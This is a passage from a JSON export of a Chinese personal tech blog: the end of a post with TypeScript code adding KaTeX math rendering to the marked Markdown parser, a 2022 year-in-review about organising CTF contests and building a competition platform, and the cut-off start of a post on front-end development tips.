\u003ccode\u003etokenizer\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003etokenizer\u003c/code\u003e 需要两个,一个用来解决 \u003ccode\u003e$f(x)=x+y$\u003c/code\u003e 这样的行内公式,一类用来对付\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$$\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ef(x) = \\frac{1}{x}\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$$\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这类的行间公式。匹配这些我们只需要两个正则表达式就可以了,一个匹配单个 \u003ccode\u003e$\u003c/code\u003e,一个匹配 \u003ccode\u003e$$\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"实现-render\"\u003e实现 \u003ccode\u003erender\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e直接一把梭 \u003ccode\u003ekatex.renderToString(token.text, options)\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"代码片段\"\u003e代码片段\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan class=\"nx\"\u003eKatexOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;katex\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;katex/dist/katex.css\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;marked\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKatexOptions\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{})\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eMarkedExtension\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eextensions\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003einlineKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eblockKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003einlineKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKatexOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eTokenizerAndRendererExtension\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;inlineKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003elevel\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;inline\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eindexOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etokenizer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003e_tokens\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ematch\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sr\"\u003e/^\\$+([^$\\n]+?)\\$+/\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;inlineKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eraw\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etext\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003etrim\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003erenderer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erenderToString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eblockKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKatexOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eTokenizerAndRendererExtension\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;blockKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003elevel\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;block\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eindexOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$$\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etokenizer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003e_tokens\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ematch\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sr\"\u003e/^\\$\\$+\\n([^$]+?)\\n\\$\\$/\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;blockKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eraw\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etext\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003etrim\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003erenderer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edisplayMode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u0026lt;p\u0026gt;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erenderToString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026lt;/p\u0026gt;`\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e保存到 \u003ccode\u003ekatex_extension.ts\u003c/code\u003e 中,使用时只需要导入后 \u003ccode\u003emarked.use(KatexExtension({}))\u003c/code\u003e 即可,参数中接收的是 Katex 的设置项。\u003c/p\u003e\n\u003cp\u003e如果需要 lazy load,也可以\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003eawait\u003c/span\u003e \u003cspan class=\"kr\"\u003eimport\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@/path/to/katex_extension.ts\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003euse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"nx\"\u003estrict\u003c/span\u003e: \u003cspan class=\"kt\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e}))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我先使用不带任何插件的 marked 将基础内容渲染出来,然后再加载katex与highlightJS重新渲染一遍,在某些网速不佳的环境下能提供更好的用户体验。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/marked_with_katex/"},{"title":"2022 年度小结","time":"2022-12-31T22:11:49+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"做了什么\"\u003e做了什么\u003c/h2\u003e\n\u003cp\u003e今年相比去年稍稍闲了一些,做了一些感觉很有意义的事情,继续坚持当一个理想主义者。\u003c/p\u003e\n\u003ch2 id=\"今年流水账\"\u003e今年流水账\u003c/h2\u003e\n\u003cp\u003e一月份在学校封控隔离,帮忙办了第一届西电寒假抗疫 CTF,期间手机坏了,新手机又因为封控送不进来,举着 iPad 做了一个月的核酸。\u003c/p\u003e\n\u003cp\u003e二月份在学校封控隔离,线上复盘比赛,开组会,最后终于成功回家。\u003c/p\u003e\n\u003cp\u003e三月份跟队友和友队一起办了D^3CTF,情况不错。\u003c/p\u003e\n\u003cp\u003e四月份不太平稳的退休,将 L-team 与 XDSEC 全权交给学弟学妹们,接手维护了取证资料站,在上面搭了一个 Git,并写了一些有关取证和取证软件开发的文档。\u003c/p\u003e\n\u003cp\u003e五月份开始筹备 Cyber Terminal,重新修了修 BitWave,举办了 Mini LCTF,写了两篇取证猫的开发文档。\u003c/p\u003e\n\u003cp\u003e六月份初步计划好了 Cyber Terminal 的架构,开了个头,胃出了点毛病,去医院跑了七八躺,做了胃镜,最后事情不大,存活。\u003c/p\u003e\n\u003cp\u003e七月份去华为实习,白天在华为高强度修代码,晚上回来爆肝 Cyber Terminal,一天只睡三个小时,差点4了。\u003c/p\u003e\n\u003cp\u003e八月份继续在华为实习,继续高强度修代码,继续每天只睡三小时,终于延期 10 天之后堪堪完工,并大致成功的举办了 MoeCTF 2022。\u003c/p\u003e\n\u003cp\u003e九月份复盘了比赛平台开发的一些事情,并决定了后续开发与重构路径,看了两篇有关反汇编与反编译算法的论文,开坑了 IERX。\u003c/p\u003e\n\u003cp\u003e十月份结束了保研相关的事情,走完了两场面试,在西电续费了 3 年,着手重构 Cyber Terminal,给 IERX 写了一个炫酷的启动界面,并给主界面架构和插件系统打了个底子。\u003c/p\u003e\n\u003cp\u003e十一月份继续重构 Cyber Terminal,给 Yoco 写了一个 Mock 后端,前端开了个头,发现队友的仓库已经很久没有动静了,也没有相关 API 文档,于是不了了之。\u003c/p\u003e\n\u003cp\u003e十二月份继续重构 Cyber Terminal,成功在重重疫情之下回家,然后回家第三天全国解封了,又过了几天阳了,高烧 39+ 烧了四天差点死掉,好在最后没啥事。\u003c/p\u003e\n\u003cp\u003e今年又是高强度办比赛写代码的一年~\u003c/p\u003e\n\u003cp\u003e总的来说我还挺满意,虽然中间经历了堪比地狱的两个月,但是今年总算是产出了一个稳定高性能的生产级别应用。\u003c/p\u003e\n\u003ch2 id=\"明年计划\"\u003e明年计划?\u003c/h2\u003e\n\u003cp\u003e继续完善 Cyber Terminal,剩下的事情还没想好,一步一步来吧,希望能继续作为一个不忘初心的理想主义者,写一些有趣的东西。\u003c/p\u003e\n\u003cp\u003eTo be continued.\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/2022_summary/"},{"title":"Web前端开发需要注意的一些问题","time":"2022-12-12T10:59:46+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e一点记录,持续更新。\u003c/p\u003e\n\u003ch2 id=\"颜色主题遵循原生系统设置\"\u003e颜色主题遵循原生系统设置\u003c/h2\u003e\n\u003cp\u003e如果Web端有提供主题切换的话,默认主题应当遵循系统或者浏览器设置。\u003c/p\u003e\n\u003cp\u003e可以使用以下js片段获取浏览器/系统默认主题:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eisDarkMode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematchMedia\u003c/span\u003e \u003cspan 